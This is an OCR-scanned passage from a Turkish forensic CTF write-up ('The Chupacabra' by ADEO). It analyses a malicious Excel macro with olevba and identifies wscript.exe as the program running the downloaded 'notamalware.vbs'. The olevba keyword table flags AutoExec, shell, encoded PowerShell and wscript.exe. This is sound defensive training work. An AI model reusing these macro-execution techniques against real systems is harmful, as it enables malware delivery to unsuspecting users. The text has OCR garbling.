Calistirhyor. Bu Uygulamanin Adi Nedir?

Bir dnceki soruda da yaptigimiz gibi “Body Mass Index.xlsm”i “olevba” ile inceledigimizde makronun
PowerShell komutlariyla indirmis oldugu “notamalware.vbs” isimli zararli “Visual Basic Script” dosyasini
calistirmak icin “wscript.exe”yi cagirdigini gérlyoruz.

“wscript.exe”, Windows sistemlerde “VBS”lerin sistemlere sonradan yuklenmesi gereken herhangi bir
yorumlayiclya gerek kalmaksizin calistirimasini saglayan bir bilesen diyebiliriz.

) E¥ Administrator: Windows Powe X + v = (=] X

(empty macro)

OLE stream: 'VBA/Sheetl'

(empty macro)
o e e +
| Keyword |Description |
B e e +
|AutoExec |Buttonl_Click |Runs when the file is opened and ActiveX
|objects trigger events
| shell |May run an executable file or a system
| | command
|wScript.shell |May run an executable file or a system
| command
|Run |May run an executable file or a system
| | command
| shellExecute |May run an executable file or a system
| command
| powershell |May run PowerShell commands
| encodedcommand |May run PowerShell commands
|Createobject |May create an OLE object
|Shell.Application |May run an application (if combined with
|Createobject)
|Hex Strings |Hex-encoded strings were detected, may be
| |used to obfuscate strings (option --decode to
| |see all)
|wscript.exe |Executable file name
|notamalware.vbs |Executable file name
e e e +

Ps C:\Akil\Analiz>

Cevap: “wscript.exe”
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Sonug ve Tesekkurler

ADEO Cyber Security tarafindan hazirlanan “The Chupacabra” 6rnek adli bilisim vakasi CTF’ini rapor
yazimi dahil 3 ginde elimizden geldiginde 6zen gostererek tamamladik tamamladik.

Surec bizler icin unuttugumuz bircok bilgiyi tazeleyici oldugu kadar, 6gretici ve oldukca eglenceli bir
sekilde gecti. Emegi gecen herkese “PwnLab.Me Siber Guvenlik Toplulugu” olarak tesekkurlerimizi
iletiyoruz.

Son kez yine tekrarlayalim.

“Kadikdy’e, Montana cetesine, sehrin kétu cocuklarina ve butin ruhsuzlara...”

Adios, ADEO’s 3)
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